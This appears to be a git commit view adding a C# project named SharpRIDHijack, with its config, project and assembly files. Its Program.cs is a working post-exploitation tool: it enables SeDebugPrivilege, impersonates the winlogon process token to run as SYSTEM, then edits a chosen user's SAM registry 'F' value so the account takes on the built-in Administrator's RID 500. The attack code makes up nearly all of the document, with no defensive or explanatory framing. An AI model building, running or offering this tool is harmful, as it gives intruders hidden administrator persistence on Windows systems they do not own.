aboutsummaryrefslogtreecommitdiff
path: root/SharpRIDHijack
diff options
context:
space:
mode:
Diffstat (limited to 'SharpRIDHijack')
-rw-r--r--SharpRIDHijack/App.config6
-rw-r--r--SharpRIDHijack/Program.cs272
-rwxr-xr-xSharpRIDHijack/Properties/AssemblyInfo.cs33
-rw-r--r--SharpRIDHijack/SharpRIDHijack.csproj55
4 files changed, 366 insertions, 0 deletions
diff --git a/SharpRIDHijack/App.config b/SharpRIDHijack/App.config
new file mode 100644
index 0000000..5754728
--- /dev/null
+++ b/SharpRIDHijack/App.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+ <startup>
+ <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
+ </startup>
+</configuration> \ No newline at end of file
diff --git a/SharpRIDHijack/Program.cs b/SharpRIDHijack/Program.cs
new file mode 100644
index 0000000..14157ae
--- /dev/null
+++ b/SharpRIDHijack/Program.cs
@@ -0,0 +1,272 @@
+using System;
+using System.IO;
+using System.Linq;
+using System.Security.Principal;
+using System.Runtime.InteropServices;
+using System.Diagnostics;
+using Microsoft.Win32;
+using System.Text;
+using System.Runtime.Remoting.Contexts;
+
+namespace SharpRIDHijack
+{
+ public static class Utils
+ {
+ [DllImport("advapi32.dll", SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ private static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
+
+ [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
+ private static extern bool CloseHandle(IntPtr handle);
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ private static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ private static extern bool RevertToSelf();
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ private static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
+
+ [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
+ private static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ private static extern IntPtr GetCurrentProcess();
+
+ private const int SE_PRIVILEGE_ENABLED = 0x00000002;
+ private const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
+ private const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
+ private const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
+ private const UInt32 TOKEN_DUPLICATE = 0x0002;
+ private const UInt32 TOKEN_IMPERSONATE = 0x0004;
+ private const UInt32 TOKEN_QUERY = 0x0008;
+ private const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
+ private const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
+ private const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
+ private const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
+ private const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
+ private const UInt32 TOKEN_READ = STANDARD_RIGHTS_READ | TOKEN_QUERY;
+ private const UInt32 TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID;
+ private const int ADMIN_RID = 0x1F4; // 500, default Administrator RID
+ private const string SAM_REGISTRY_PATH = @"SAM\SAM\Domains\Account\Users\{0}";
+
+ private struct TokPriv1Luid
+ {
+ public int Count;
+ public long Luid;
+ public int Attr;
+ }
+
+ public static void LogInfo(string message) => Console.WriteLine($"[inf] {message}");
+ public static void LogError(string message) => Console.WriteLine($"[err] {message}");
+
+ public static bool IsAdministrator()
+ {
+ using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
+ {
+ WindowsPrincipal principal = new WindowsPrincipal(identity);
+ return principal.IsInRole(WindowsBuiltInRole.Administrator);
+ }
+ }
+
+ public static bool EnableDebugPrivilege()
+ {
+ IntPtr hProc = GetCurrentProcess();
+ IntPtr hTok = IntPtr.Zero;
+ try
+ {
+ if (!OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hTok))
+ {
+ LogError($"OpenProcessToken failed: {Marshal.GetLastWin32Error()}");
+ return false;
+ }
+
+ TokPriv1Luid tp = new TokPriv1Luid { Count = 1, Luid = 0, Attr = SE_PRIVILEGE_ENABLED };
+ if (!LookupPrivilegeValue(null, "SeDebugPrivilege", ref tp.Luid))
+ {
+ LogError($"LookupPrivilegeValue failed: {Marshal.GetLastWin32Error()}");
+ return false;
+ }
+
+ if (!AdjustTokenPrivileges(hTok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero))
+ {
+ LogError($"AdjustTokenPrivileges failed: {Marshal.GetLastWin32Error()}");
+ return false;
+ }
+
+ LogInfo("SeDebugPrivilege enabled");
+ return true;
+ }
+ catch (Exception ex)
+ {
+ LogError($"Failed to enable SeDebugPrivilege: {ex.Message}");
+ return false;
+ }
+ finally
+ {
+ if (hTok != IntPtr.Zero)
+ CloseHandle(hTok);
+ }
+ }
+
+ public static bool EscalateToSystem()
+ {
+ if (!EnableDebugPrivilege())
+ {
+ LogError("Failed to enable SeDebugPrivilege");
+ return false;
+ }
+
+ var winlogonProcs = Process.GetProcessesByName("winlogon");
+ if (winlogonProcs.Length == 0)
+ {
+ LogError("No winlogon process found");
+ return false;
+ }
+
+ using (Process proc = winlogonProcs[0])
+ {
+ IntPtr tokenHandle = IntPtr.Zero;
+ try
+ {
+ if (!OpenProcessToken(proc.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle))
+ {
+ LogError($"OpenProcessToken failed: {Marshal.GetLastWin32Error()}");
+ return false;
+ }
+
+ if (!ImpersonateLoggedOnUser(tokenHandle))
+ {
+ LogError($"ImpersonateLoggedOnUser failed: {Marshal.GetLastWin32Error()}");
+ return false;
+ }
+
+ LogInfo($"Successfully impersonated WinLogon, running as {WindowsIdentity.GetCurrent().Name}");
+ return true;
+ }
+ catch (Exception ex)
+ {
+ LogError($"Escalation failed: {ex.Message}");
+ return false;
+ }
+ finally
+ {
+ if (tokenHandle != IntPtr.Zero)
+ CloseHandle(tokenHandle);
+ }
+ }
+ }
+
+ public static bool RIDHijack(string username)
+ {
+ if (string.IsNullOrWhiteSpace(username))
+ {
+ LogError("Username cannot be empty");
+ return false;
+ }
+
+ if (!WindowsIdentity.GetCurrent().IsSystem)
+ {
+ LogError("Not running as SYSTEM");
+ return false;
+ }
+
+ try
+ {
+ SecurityIdentifier sid;
+ try
+ {
+ NTAccount account = new NTAccount(username);
+ sid = (SecurityIdentifier)account.Translate(typeof(SecurityIdentifier));
+ }
+ catch (IdentityNotMappedException)
+ {
+ LogError($"Cannot find username: {username}");
+ return false;
+ }
+
+ string sidString = sid.ToString();
+ int rid = Convert.ToInt32(sidString.Substring(sidString.LastIndexOf('-') + 1));
+ string ridHex = rid.ToString("X8");
+ byte[] ridBinary = BitConverter.GetBytes(Convert.ToUInt16(ridHex, 16));
+ LogInfo($"Original RID: {ridHex} ({rid})");
+
+ using (RegistryKey user = Registry.LocalMachine.OpenSubKey(string.Format(SAM_REGISTRY_PATH, ridHex), true))
+ {
+ if (user == null)
+ {
+ LogError($"Failed to open SAM registry key for RID {ridHex}");
+ return false;
+ }
+
+ byte[] fVal = (byte[])user.GetValue("F");
+ if (fVal == null || fVal.Length < 2)
+ {
+ LogError("Invalid F value in SAM registry");
+ return false;
+ }
+
+ byte[] fValModified = (byte[])fVal.Clone();
+ bool ridFound = false;
+ for (int i = 0; i < fValModified.Length - 1; i++)
+ {
+ if (fValModified[i] == ridBinary[0] && fValModified[i + 1] == ridBinary[1])
+ {
+ LogInfo($"Found RID {rid} at offset {i}");
+ fValModified[i] = 0xF4; // Admin RID (500)
+ fValModified[i + 1] = 0x01;
+ ridFound = true;
+ break;
+ }
+ }
+
+ if (!ridFound)
+ {
+ LogError("Failed to locate RID in F value");
+ return false;
+ }
+
+ user.SetValue("F", fValModified);
+ LogInfo($"New F value:\n{string.Join(" ", fValModified.Select(x => x.ToString("X2")))}");
+ }
+
+ return true;
+ }
+ catch (Exception ex)
+ {
+ LogError($"RID hijacking failed: {ex.Message}");
+ return false;
+ }
+ finally
+ {
+ if (!RevertToSelf())
+ LogError($"Failed to revert impersonation: {Marshal.GetLastWin32Error()}");
+ }
+ }
+ }
+
+ public class Program
+ {
+ static void Main(string[] args)
+ {
+ if (args.Length == 0 || string.IsNullOrWhiteSpace(args[0]))
+ {
+ Utils.LogError($"Usage: {AppDomain.CurrentDomain.FriendlyName} <username>");
+ Environment.Exit(1);
+ }
+
+ string username = args[0];
+ if (!Utils.IsAdministrator())
+ {
+ Utils.LogError("Not running as Administrator");
+ Environment.Exit(1);
+ }
+
+ if (Utils.EscalateToSystem())
+ {
+ Utils.RIDHijack(username);
+ }
+ }
+ }
+} \ No newline at end of file
diff --git a/SharpRIDHijack/Properties/AssemblyInfo.cs b/SharpRIDHijack/Properties/AssemblyInfo.cs
new file mode 100755
index 0000000..97d99eb
--- /dev/null
+++ b/SharpRIDHijack/Properties/AssemblyInfo.cs
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("SharpRIDHijack")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("SharpRIDHijack")]
+[assembly: AssemblyCopyright("Copyright © 2025")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("33bcb519-81a5-4ed8-b2a0-0a57b3cae54c")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/SharpRIDHijack/SharpRIDHijack.csproj b/SharpRIDHijack/SharpRIDHijack.csproj
new file mode 100644
index 0000000..6a91570
--- /dev/null
+++ b/SharpRIDHijack/SharpRIDHijack.csproj
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+ <PropertyGroup>
+ <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+ <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+ <ProjectGuid>{33BCB519-81A5-4ED8-B2A0-0A57B3CAE54C}</ProjectGuid>
+ <OutputType>Exe</OutputType>
+ <RootNamespace>SharpRIDHijack</RootNamespace>
+ <AssemblyName>SharpRIDHijack</AssemblyName>
+ <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
+ <FileAlignment>512</FileAlignment>
+ <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
+ <Deterministic>true</Deterministic>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+ <PlatformTarget>AnyCPU</PlatformTarget>
+ <DebugSymbols>true</DebugSymbols>
+ <DebugType>full</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\Debug\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+ <PlatformTarget>AnyCPU</PlatformTarget>
+ <DebugType>pdbonly</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\Release\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+ </PropertyGroup>
+ <ItemGroup>
+ <Reference Include="System" />
+ <Reference Include="System.Core" />
+ <Reference Include="System.Xml.Linq" />
+ <Reference Include="System.Data.DataSetExtensions" />
+ <Reference Include="Microsoft.CSharp" />
+ <Reference Include="System.Data" />
+ <Reference Include="System.Net.Http" />
+ <Reference Include="System.Xml" />
+ </ItemGroup>
+ <ItemGroup>
+ <Compile Include="Program.cs" />
+ <Compile Include="Properties\AssemblyInfo.cs" />
+ </ItemGroup>
+ <ItemGroup>
+ <None Include="App.config" />
+ </ItemGroup>
+ <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project> \ No newline at end of file